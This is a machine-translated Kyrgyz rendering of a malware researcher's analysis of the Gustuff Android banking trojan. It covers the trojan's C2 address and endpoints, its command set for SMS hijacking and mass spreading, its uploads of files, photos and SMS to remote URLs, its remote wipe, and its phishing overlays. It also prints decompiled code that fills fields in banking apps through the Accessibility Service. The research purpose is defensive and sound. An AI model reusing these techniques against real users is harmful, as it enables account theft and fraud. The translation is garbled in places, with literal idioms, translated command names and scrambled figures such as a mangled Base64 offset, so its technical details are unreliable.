Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат

Жакында эле Group-IB билдирди мобилдик Android Trojan Gustuff иши жөнүндө. Ал эл аралык рыноктордо гана иштейт, 100 ири чет элдик банктардын кардарларына, мобилдик 32 крипто капчыктын колдонуучуларына, ошондой эле ири электрондук коммерция ресурстарына кол салат. Бирок Gustuff иштеп чыгуучусу Bestoffer лакап аты менен орус тилдүү киберкылмышкер. Жакынкы убакка чейин ал өзүнүн троянын "билим жана тажрыйбасы бар адамдар үчүн олуттуу продукт" деп мактап келген.

Group-IB компаниясынын зыяндуу кодду талдоо боюнча адиси Иван Писарев изилдөөсүндө, ал Gustuff кандай иштээри жана анын кандай коркунучтар бар экендиги жөнүндө кеңири айтып берет.

Gustuff кимге аңчылык кылат?

Gustuff толугу менен автоматташтырылган функциялары бар зыяндуу программалардын жаңы муунуна таандык. Иштеп чыгуучунун айтымында, троян AndyBot зыяндуу программасынын жаңы жана өркүндөтүлгөн версиясы болуп калды, ал 2017-жылдын ноябрынан бери Android телефондоруна чабуул жасап, белгилүү эл аралык банктардын жана төлөм системаларынын мобилдик тиркемелерин маскаралаган фишингдик веб-формалар аркылуу акча уурдап келет. Bestoffer Gustuff Bot ижара баасы айына $ 800 экенин билдирди.

Gustuff үлгүсүн талдоо көрсөткөндөй, троян Банк оф Америка, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, ошондой эле крипто капчыктар сыяктуу ири банктардын мобилдик тиркемелерин колдонуу менен кардарларга багытталган. Bitcoin Wallet, BitPay, Cryptopay, Coinbase, ж.б.

Башында классикалык банктык троян катары түзүлгөн, учурдагы версиясында Gustuff чабуул үчүн потенциалдуу максаттардын тизмесин кыйла кеңейтти. Банктар, финтех компаниялары жана крипто кызматтары үчүн Android тиркемелеринен тышкары, Gustuff базардагы тиркемелерди, онлайн дүкөндөрдү, төлөм системаларын жана тез мессенджерлерди колдонуучуларга багытталган. Атап айтканда, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut жана башкалар.

Кирүү чекити: массалык инфекцияны эсептөө

Gustuff APK'лерге шилтемелер менен SMS жөнөтүү аркылуу Android смартфондоруна кирүүнүн "классикалык" вектору менен мүнөздөлөт. Сервердин буйругу менен Android түзмөгүнө троян жуккан учурда, Gustuff андан ары вирус жуккан телефондун байланыштар базасы же сервердин маалымат базасы аркылуу тарашы мүмкүн. Gustuff функционалдуулугу массалык инфекцияга жана анын операторлорунун бизнесин максималдуу капиталдаштырууга арналган - анын уникалдуу "автоматтык толтуруу" функциясы бар, мыйзамдуу мобилдик банкинг тиркемелерине жана крипто капчыктарга акча уурдоону тездетүүгө жана масштабдуу кылууга мүмкүндүк берет.

Троянды изилдөө көрсөткөндөй, автотолтуруу функциясы анда мүмкүнчүлүгү чектелген адамдар үчүн кызмат көрсөтүүчү Accessibility Service аркылуу ишке ашырылган. Gustuff бул Android кызматын колдонгон башка тиркемелердин терезе элементтери менен өз ара аракеттенүүдөн коргоону ийгиликтүү айланып өткөн биринчи троян эмес. Бирок, Жеткиликтүүлүк Кызматын унаа толтургуч менен айкалыштыруу дагы эле сейрек кездешет.

Жабырлануучунун телефонуна жүктөп алгандан кийин, Gustuff Колдонуу кызматынын жардамы менен башка тиркемелердин терезе элементтери менен (банк, криптовалюталар, ошондой эле онлайн соода, билдирүүлөр ж. . Мисалы, сервердин буйругу менен троян баскычтарды басып, банктык тиркемелердеги текст талааларынын маанилерин өзгөртө алат. Жеткиликтүүлүк кызматынын механизмин колдонуу троянга мурунку муундагы мобилдик трояндарга каршы туруу үчүн банктар колдонгон коопсуздук механизмдерин, ошондой эле Android OSтин жаңы версияларында Google тарабынан ишке ашырылган коопсуздук саясатындагы өзгөрүүлөрдү айланып өтүүгө мүмкүндүк берет. Ошентип, Gustuff Google Protect коргоону өчүрүүнү "кантип" билет: автордун айтымында, бул функция 70% учурларда иштейт.

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат

Gustuff ошондой эле мыйзамдуу мобилдик тиркемелердин иконалары менен жасалма PUSH эскертмелерин көрсөтө алат. Колдонуучу PUSH эскертмесин чыкылдатып, серверден жүктөлүп алынган фишинг терезесин көрөт, анда ал суралган банк картасын же крипто капчыктын маалыматтарын киргизет. Башка Gustuff сценарийинде, анын атынан PUSH билдирмеси көрсөтүлгөн тиркеме ачылат. Бул учурда, кесепеттүү программа Жеткиликтүүлүк кызматы аркылуу сервердин буйругу менен алдамчылык транзакция үчүн банктык тиркеменин форма талааларын толтура алат.

Gustuff функциясына ошондой эле вирус жуккан түзмөк жөнүндө маалыматты серверге жөнөтүү, SMS билдирүүлөрдү окуу/жөнөтүү, USSD суроо-талаптарын жөнөтүү, SOCKS5 проксисин ишке киргизүү, шилтеме боюнча өтүү, файлдарды (анын ичинде документтердин фото сканерлерин, скриншотторду, сүрөттөрдү) жөнөтүү кирет. серверде, аппаратты заводдук жөндөөлөргө кайтарыңыз.

Кесепеттүү программаларды талдоо

Зыяндуу тиркемени орнотуудан мурун, Android OS колдонуучуга Gustuff сураган укуктардын тизмесин камтыган терезени көрсөтөт:

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат
Колдонмо колдонуучунун макулдугун алгандан кийин гана орнотулат. Тиркемени ишке киргизгенден кийин, троян колдонуучуга терезени көрсөтөт:

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат
Андан кийин, ал өзүнүн сөлөкөтүн алып салат.

Gustuff, автордун айтымында, FTT компаниясынын пакери тарабынан салынган. Ишке киргизилгенден кийин, колдонмо буйруктарды алуу үчүн мезгил-мезгили менен CnC сервери менен байланышат. Биз карап чыккан бир нече файлдар башкаруу сервери катары IP даректи колдонушкан 88.99.171[.]105 (мындан ары биз аны катары белгилейбиз <%CnC%>).

Ишке киргизилгенден кийин программа серверге билдирүүлөрдү жөнөтө баштайт http://<%CnC%>/api/v1/get.php.

Жооп төмөнкү форматта JSON болушу күтүлүүдө:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Колдонмого кирген сайын ал вирус жуккан түзмөк тууралуу маалыматты жөнөтөт. Билдирүүнүн форматы төмөндө көрсөтүлгөн. Талааларды белгилей кетуу керек толук, кошумча, колдонмо и уруксат – кошумча жана CnCден суроо-талап буйругу болгондо гана жөнөтүлөт.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Конфигурация маалыматтарын сактоо

Gustuff операциялык маанилүү маалыматты артыкчылык файлында сактайт. Файлдын аты, ошондой эле андагы параметрлердин аттары саптан MD5 суммасын эсептөөнүн натыйжасы болуп саналат 15413090667214.6.1<%name%>кайда <%name%> — баштапкы аты-маани. ысымды түзүү функциясынын Python чечмелөө:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

Кийинкиде биз аны катары белгилейбиз nameGenerator(киргизүү).
Ошентип, биринчи файлдын аты: nameGenerator("API_SERVER_LIST"), ал төмөнкү аталыштар менен баалуулуктарды камтыйт:

Өзгөрмө аты Наркы
nameGenerator("API_SERVER_LIST") Массив түрүндөгү CnC даректеринин тизмесин камтыйт.
nameGenerator("API_SERVER_URL") CnC дарегин камтыйт.
nameGenerator("SMS_UPLOAD") Желек демейки боюнча коюлган. желек коюлган болсо, CnC SMS билдирүүлөрдү жөнөтөт.
nameGenerator("SMS_ROOT_NUMBER") Вирус жуккан аппарат алган SMS билдирүүлөр жөнөтүлө турган телефон номери. Демейки нөл.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Желек демейки боюнча тазаланат. Орнотулган болсо, вирус жуккан аппарат SMS келгенде, ал түпкү номерге жөнөтүлөт.
nameGenerator("DEFAULT_APP_SMS") Желек демейки боюнча тазаланат. Бул желек орнотулган болсо, колдонмо келген SMS билдирүүлөрдү иштеп чыгат.
nameGenerator("DEFAULT_ADMIN") Желек демейки боюнча тазаланат. Эгерде желек орнотулган болсо, анда колдонмо администратордук укуктарга ээ.
nameGenerator("DEFAULT_ACCESSIBILITY") Желек демейки боюнча тазаланат. Желек орнотулган болсо, Атайын мүмкүнчүлүктөр кызматын колдонгон кызмат иштеп жатат.
nameGenerator("APPS_CONFIG") Белгилүү бир колдонмо менен байланышкан Атайын мүмкүнчүлүктөр окуясы иштетилгенде аткарылышы керек болгон аракеттердин тизмесин камтыган JSON объекти.
nameGenerator("APPS_INSTALLED") Аппаратка орнотулган колдонмолордун тизмесин сактайт.
nameGenerator("IS_FIST_RUN") Желек биринчи башталганда кайра коюлат.
nameGenerator("UNIQUE_ID") Уникалдуу идентификаторду камтыйт. Бот биринчи жолу ишке киргизилгенде түзүлөт.

Серверден буйруктарды иштетүү модулу

Колдонмо CnC серверлеринин даректерин коддолгон массив түрүндө сактайт База85 сызыктар. CnC серверлеринин тизмеси тиешелүү буйрукту алгандан кийин өзгөртүлүшү мүмкүн, бул учурда даректер артыкчылык файлында сакталат.

Сурамга жооп катары сервер колдонмого буйрук жөнөтөт. Белгилей кетсек, буйруктар жана параметрлер JSON форматында берилген. Колдонмо төмөнкү буйруктарды иштете алат:

команда баяндоо
алдыга баштоо CnC серверине жуккан аппарат тарабынан алынган SMS билдирүүлөрдү жөнөтө баштаңыз.
алдыга токтотуу Вирус жуккан аппарат CnC серверине SMS билдирүүлөрдү жөнөтүүнү токтотуңуз.
ussdRun USSD сурамын аткарыңыз. Сиз USSD сурам жөнөтүшүңүз керек болгон номер JSON талаасында "сан" жайгашкан.
SMS жөнөтүү Бир SMS билдирүү жөнөтүңүз (зарыл болсо, билдирүү бөлүктөргө бөлүнөт). Параметр катары буйрук "to" талааларын камтыган JSON объектисин алат - көздөгөн номер жана "дене" - билдирүүнүн негизги бөлүгү.
sendSmsAb Вирус жуккан аппараттын байланыш тизмесиндеги баарына SMS билдирүүлөрдү жөнөтүңүз (зарыл болсо, билдирүү бөлүктөргө бөлүнөт). Билдирүүлөрдү жөнөтүүнүн ортосундагы аралык 10 секунд. Билдирүүнүн негизги бөлүгү JSON талаасында "дене"
sendSmsMass Команданын параметрлеринде көрсөтүлгөн байланыштарга SMS билдирүүлөрдү жөнөтүңүз (зарыл болсо, билдирүү бөлүктөргө бөлүнөт). Билдирүүлөрдү жөнөтүүнүн ортосундагы аралык 10 секунд. Параметр катары команда JSON массивин («sms» талаасы) алат, анын элементтери «to» талааларын камтыйт - көздөгөн номер жана «дене» - билдирүүнүн негизги бөлүгү.
өзгөртүү сервери Бул буйрук параметр катары "url" ачкычы менен маани ала алат - андан кийин бот nameGenerator("SERVER_URL") же "array" маанисин өзгөртөт - андан кийин бот массивди nameGenerator ("API_SERVER_LIST")га жазат. Ошентип, колдонмо CnC серверлеринин дарегин өзгөртөт.
adminNumber Буйрук тамыр номери менен иштөө үчүн иштелип чыккан. Буйрук төмөнкү параметрлери менен JSON объектисин кабыл алат: “number” — nameGenerator(“ROOT_NUMBER”) алынган мааниге өзгөртүү, “кайра жөнөтүү” — nameGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — nameGenerator(“ROOT_NUMBER”)га жөнөтүү ) уникалдуу идентификатор.
updateInfo Вирус жуккан түзмөк тууралуу маалыматты серверге жөнөтүңүз.
Маалыматтарды өчүрүү Буйрук колдонуучунун маалыматтарын жок кылууга арналган. Тиркеме кайсы атка байланыштуу ишке киргизилгендигине жараша, же түзмөктү кайра жүктөө менен маалыматтар толугу менен өчүрүлөт (негизги колдонуучу), же колдонуучунун гана маалыматы жок кылынат (экинчи колдонуучу).
socksStart Прокси модулун ишке киргизиңиз. Модулдун иштеши өзүнчө бөлүмдө баяндалат.
socksStop Прокси модулун токтотуу.
openLink Шилтемеге өтүңүз. Шилтеме JSON параметринде "url" баскычынын астында жайгашкан. Шилтемени ачуу үчүн "android.intent.action.VIEW" колдонулат.
uploadAllSms Аппарат тарабынан алынган бардык SMS билдирүүлөрдү серверге жөнөтүңүз.
uploadAllPhotos Вирус жуккан түзмөктөн сүрөттөрдү URL дарегине жөнөтүңүз. URL параметр катары келет.
uploadFile Вирус жуккан түзмөктөн файлды URL дарегине жөнөтүңүз. URL параметр катары келет.
жүктөө PhoneNumbers Байланыш тизмеңизден телефон номерлерин серверге жөнөтүңүз. Эгерде "ab" ачкычы менен JSON объектинин мааниси параметр катары кабыл алынса, тиркеме телефон китебинен байланыштардын тизмесин алат. Эгерде "sms" ачкычы менен JSON объекти параметр катары кабыл алынса, колдонмо SMS билдирүүлөрдү жөнөтүүчүлөрдөн байланыштардын тизмесин окуйт.
өзгөртүүАрхив Тиркеме файлды "url" баскычын колдонуп параметр катары келген даректен жүктөйт. Жүктөлгөн файл "archive.zip" аты менен сакталат. Тиркеме андан кийин архивдик сырсөздү "b5jXh37gxgHBrZhQ4j3D" колдонуп, файлды ачат. Ачылган файлдар [тышкы сактагыч]/hgps каталогунда сакталат. Бул каталогдо колдонмо желе фейктерин сактайт (төмөндө сүрөттөлөт).
Аракети жок Буйрук өзүнчө бөлүмдө сүрөттөлгөн Action Service менен иштөө үчүн иштелип чыккан.
текшерүү Эч нерсе кылбай.
жүктөп алуу Буйрук файлды алыскы серверден жүктөө жана аны "Жүктөлүүлөр" каталогуна сактоо үчүн арналган. URL жана файлдын аты JSON параметринин объектисинде параметр катары келет, тиешелүүлүгүнө жараша: “url” жана “fileName”.
жок кылуу "Жүктөөлөр" каталогунан файлды алып салат. Файлдын аты JSON параметринде "fileName" баскычы менен келет. Стандарттык файл аты "tmp.apk" болуп саналат.
билдирүү Башкаруу сервери аныктаган сүрөттөмө жана аталыш тексттери менен эскертмени көрсөтүңүз.

Формат Command билдирүү:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Териштирилип жаткан файл тарабынан түзүлгөн билдирме талаада көрсөтүлгөн тиркеме тарабынан түзүлгөн эскертмелерге окшош. колдонмо. Эгерде талаа мааниси openApp — Ырас, билдирме ачылганда талаада керсетулген тиркеме ишке киргизилет колдонмо. Эгерде талаа мааниси openApp — Жалган, анда:

  • Фишинг терезеси ачылат, анын мазмуну каталогдон жүктөлөт <%тышкы сактагыч%>/hgps/<%filename%>
  • Фишинг терезеси ачылат, анын мазмуну серверден жүктөлөт <%url%>?id=<%Bot id%>&app=<%Колдонмо аты%>
  • Карта чоо-жайын киргизүү мүмкүнчүлүгү бар Google Play Карта катары жамынган фишинг терезеси ачылат.

Тиркеме каалаган буйруктун натыйжасын жөнөтөт <%CnC%>set_state.php төмөнкү форматта JSON объекти катары:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Колдонмо процесстери камтыган буйруктардын тизмеси иш-аракеттер. Буйрук кабыл алынганда, команданы иштетүү модулу кеңейтилген буйрукту аткаруу үчүн бул кызматка кирет. Кызмат JSON объектисин параметр катары кабыл алат. Кызмат төмөнкү буйруктарды аткара алат:

1. PARAMS_ACTION — мындай буйрукту кабыл алууда кызмат алгач JSON параметринен Type ачкычынын маанисин алат, ал төмөнкүдөй болушу мүмкүн:

  • serviceInfo – подкоманда JSON параметринен ачкыч боюнча маани алат includeNotImportant. Эгерде желек True болсо, колдонмо желекти орнотот FLAG_ISOLATED_PROCESS Атайын мүмкүнчүлүктөр кызматы аркылуу кызматка. Ушундай жол менен кызмат өзүнчө процессте ишке киргизилет.
  • тамыр — учурда фокуста турган терезе жөнүндө маалыматты серверге алуу жана жөнөтүү. Колдонмо AccessibilityNodeInfo классынын жардамы менен маалыматты алат.
  • админ — администратордун укуктарын талап кылуу.
  • кармоо — “маалымат” ачкычынын параметринде көрсөтүлгөн миллисекунддардын санына ActionsServiceди токтото туруу.
  • терезелер — колдонуучуга көрүнгөн терезелердин тизмесин жөнөтүү.
  • орнотуу — жуккан аппаратка тиркемени орнотуу. Архив пакетинин аталышы "fileName" баскычында. Архивдин өзү Жүктөөлөр каталогунда жайгашкан.
  • дүйнөлүк – подкоманда учурдагы терезеден багыттоо үчүн арналган:
    • Ыкчам орнотуулар менюсунда
    • мурда
    • үй
    • билдирмелерге
    • жакында ачылган колдонмолор терезесине

  • учуруу - тиркемени ишке киргизүү. Колдонмонун аты ачкыч менен параметр катары келет маалымат.
  • үндөр — үн режимин унчукпоого өзгөртүү.
  • ачуу — экрандын жана клавиатуранын жарыгын толук жарыкка күйгүзөт. Тиркеме бул аракетти WakeLock аркылуу ишке ашырып, [Application lable]:INFO сапты тег катары көрсөтөт
  • permissionOverlay — функция аткарылган жок (буйруктун аткарылышына жооп: {"билдирүү":"колдоо жок"} же {"билдирүү":"төмөн sdk"})
  • дене кыймылы — функция аткарылган жок (буйруктун аткарылышына жооп: {"билдирүү":"Колдоого болбойт"}же {"билдирүү":"Low API"})
  • уруксаттар — бул буйрук колдонмого уруксаттарды суроо үчүн зарыл. Бирок, суроо функциясы ишке ашырылган эмес, ошондуктан буйрук маанисиз. Суралган укуктардын тизмеси "уруксат" баскычы менен JSON массивинде келет. Стандарттык тизме:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • ачык — фишинг терезесин көрсөтүү. Серверден келген параметрге жараша, колдонмо төмөнкү фишинг терезелерин көрсөтүшү мүмкүн:
    • Мазмуну каталогдогу файлда жазылган фишинг терезесин көрсөтүңүз <%тышкы каталог%>/hgps/<%param_filename%>. Терезе менен колдонуучунун аракетинин натыйжасы жөнөтүлөт <%CnC%>/records.php
    • Мазмуну даректен алдын ала жүктөлгөн фишинг терезесин көрсөтүңүз <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Терезе менен колдонуучунун аракетинин натыйжасы жөнөтүлөт <%CnC%>/records.php
    • Google Play картасы катары жамынган фишинг терезесин көрсөтүңүз.

  • өз ара аракеттенүү — команда AcessibilityService аркылуу башка тиркемелердин терезе элементтери менен иштешүү үчүн иштелип чыккан. Өз ара аракеттенүү программасында атайын кызмат ишке ашырылган. Тергөөдө жаткан колдонмо терезелер менен иштеше алат:
    • Учурда активдүү. Бул учурда, параметр өз ара аракеттенишиңиз керек болгон объекттин id же текстин (аты) камтыйт.
    • Колдонуучуга буйрук аткарылган учурда көрүнөт. Колдонмо терезелерди ID боюнча тандайт.

    Объекттерди алуу AccessibilityNodeInfo Кызыккан терезе элементтери үчүн, колдонмо, параметрлерге жараша, төмөнкү аракеттерди жасай алат:

    • фокус — объектке көңүл буруу.
    • Click — объектти басыңыз.
    • actionId — ID боюнча иш-аракетти аткарыңыз.
    • setText — объекттин текстин өзгөртүү. Текстти өзгөртүү эки жол менен мүмкүн: аракетти аткаруу ACTION_SET_TEXT (эгер жуккан түзмөктүн Android версиясы андан кичирээк же ага барабар болсо LOLLIPOP), же сапты алмашуу буферине коюу жана аны объектке чаптоо аркылуу (эски версиялар үчүн). Бул буйрук банктык тиркемедеги маалыматтарды өзгөртүү үчүн колдонулушу мүмкүн.

2. PARAMS_ACTIONS - ошол эле PARAMS_ACTION, буйруктардын JSON массиви гана келет.

Башка тиркеменин терезе элементтери менен иштешүү функциясы кандай экени көптөрдү кызыктырат окшойт. Бул функция Gustuffто кантип ишке ашат:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Текстти алмаштыруу функциясы:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Ошентип, башкаруу серверинин туура конфигурациясы менен Gustuff банктык тиркемедеги тексттик талааларды толтуруп, транзакцияны аяктоо үчүн керектүү баскычтарды чыкылдата алат. Троянга тиркемеге кирүүнүн да кереги жок — PUSH эскертмени көрсөтүү үчүн буйрук жөнөтүп, андан соң мурда орнотулган банк тиркемесин ачуу жетиштүү. Колдонуучу өзү аутентификациядан өтөт, андан кийин Gustuff унааны толтура алат.

SMS билдирүүлөрдү иштетүү модулу

Колдонмо вирус жуккан түзмөккө SMS билдирүүлөрдү кабыл алуу үчүн окуяны иштеткичти орнотот. Изилдеп жаткан тиркеме оператордон SMS билдирүүнүн корпусуна келген буйруктарды ала алат. Буйруктар төмөнкү форматта келет:

7!5=<%Base64 коддолгон команда%>

Колдонмо бардык келген SMS билдирүүлөрүндө сапты издейт 7!5=, сап табылганда, ал 64-офсетте Base4 сапты чечмелейт жана буйрукту аткарат. Буйруктар CnC менен болгондорго окшош. Аткаруу натыйжасы буйрук келген номерге жөнөтүлөт. Жооп форматы:

7*5=<%Base64 "натыйжа_коду буйругунун"%> коддоосу

Кошумча, колдонмо бардык кабыл алынган билдирүүлөрдү Root номерине жөнөтө алат. Бул үчүн, артыкчылык файлында Root номери көрсөтүлүшү керек жана кабарды кайра багыттоо желеги коюлушу керек. СМС билдирүү чабуулчунун номерине төмөнкү форматта жөнөтүлөт:

<%From number%> - <%Убакыт, формат: кк/АА/жжж СС:мм:сс%> <%SMS корпусу%>

Ошондой эле, кошумча түрдө, колдонмо CnCге билдирүүлөрдү жөнөтө алат. SMS билдирүү серверге JSON форматында жөнөтүлөт:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

туу коюлган болсо nameGenerator("DEFAULT_APP_SMS") – колдонмо SMS билдирүүнү иштетүүнү токтотот жана келген билдирүүлөрдүн тизмесин тазалайт.

Прокси модулу

Изилдеп жаткан тиркемеде конфигурациялуу статикалык талааларды камтыган өзүнчө классы бар Backconnect прокси модулу (мындан ары Прокси модулу) бар. Конфигурация маалыматтары үлгүдө ачык түрдө сакталат:

Android Trojan Gustuff сиздин аккаунттарыңыздан кремди (fiat жана крипто) кантип алып салат

Прокси модулу аткарган бардык аракеттер файлдарга киргизилет. Бул үчүн, Тышкы сактагычтагы тиркеме журнал файлдары сакталган “логдор” (конфигурация классындагы ProxyConfigClass.logsDir талаасы) деп аталган каталогду түзөт. Каттоо аттары бар файлдарда болот:

  1. main.txt – CommandServer деп аталган класстын иши бул файлга киргизилген. Төмөндө str сапты бул файлга киргизүү mainLog(str) катары белгиленет.
  2. session-<%id%>.txt — бул файл белгилүү бир прокси сеансына байланышкан журнал маалыматтарын сактайт. Төмөндө str сабын бул файлга киргизүү sessionLog (str) катары белгиленет.
  3. server.txt – бул файл жогоруда сүрөттөлгөн файлдарга жазылган бардык маалыматтарды каттоо үчүн колдонулат.

Журнал маалымат форматы:

<%Date%> [Tread[<%thread id%>], id[]]: лог-сап

Прокси модулдун иштешинде пайда болгон өзгөчөлүктөр да файлга катталат. Бул үчүн, колдонмо төмөнкү форматта JSON объектисин жаратат:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Андан кийин ал аны сап көрсөтүүгө айландырат жана журналга киргизет.

Прокси модулу тиешелүү буйрукту алгандан кийин ишке киргизилет. Прокси модулун ишке киргизүү буйругу келгенде, тиркеме чакыртылган кызматты баштайт MainService, Прокси модулдун иштешин башкаруу үчүн жооптуу - аны баштоо жана токтотуу.

Кызматты баштоо этаптары:

1. Мүнөтүнө бир жолу иштеген таймерди иштетет жана прокси модулдун активдүүлүгүн текшерет. Эгерде модуль активдүү болбосо, ал аны баштайт.
Ошондой эле окуя башталганда android.net.conn.CONNECTIVITY_CHANGE Прокси модулу ишке киргизилди.

2. Колдонмо параметр менен ойгонуу кулпусун түзөт PARTIAL_WAKE_LOCK жана аны кармап алат. Бул аппараттын процессорунун уйку режимине өтүшүнө жол бербейт.

3. Прокси модулунун командалык иштетүү классын ишке киргизет, адегенде линияны каттайт mainLog("серверди баштоо") и

Server::start() хост[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

кайда proxy_cnc, command_port жана proxy_port – прокси сервер конфигурациясынан алынган параметрлер.

Команда иштетүү классы деп аталат CommandConnection. Ишке киргизгенден кийин дароо төмөнкү аракеттерди аткарат:

4. менен туташат ProxyConfigClass.host: ProxyConfigClass.commandPort жана жуккан түзмөк жөнүндө маалыматтарды JSON форматында жөнөтөт:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

мында:

  • id – идентификатор, “x” аттуу Shared Preference файлынан “id” талаасы менен маани алууга аракет кылат. Эгерде бул маанини алуу мүмкүн болбосо, ал жаңысын түзөт. Ошентип, прокси-модулдун өзүнүн идентификаторуна ээ, ал Bot ID сыяктуу түзүлөт.
  • imei — аппараттын IMEI. Эгер маанини алуу процессинде ката пайда болсо, бул талаанын ордуна ката тексттик билдирүү жазылат.
  • imsi — түзмөктүн эл аралык мобилдик абоненттин идентификациясы. Эгер маанини алуу процессинде ката пайда болсо, бул талаанын ордуна ката тексттик билдирүү жазылат.
  • модель — акыркы продукт үчүн акыркы колдонуучуга көрүнүүчү аталыш.
  • өндүрүүчүсү — Продукцияны/аппаратты өндүрүүчү (Build.MANUFACTURER).
  • androidVersion - "<%release_version%> (<%os_version%>),<%sdk_version%>" форматындагы сап
  • өлкө — аппараттын учурдагы жайгашкан жери.
  • partnerId - бош сап.
  • packageName – пакеттин аталышы.
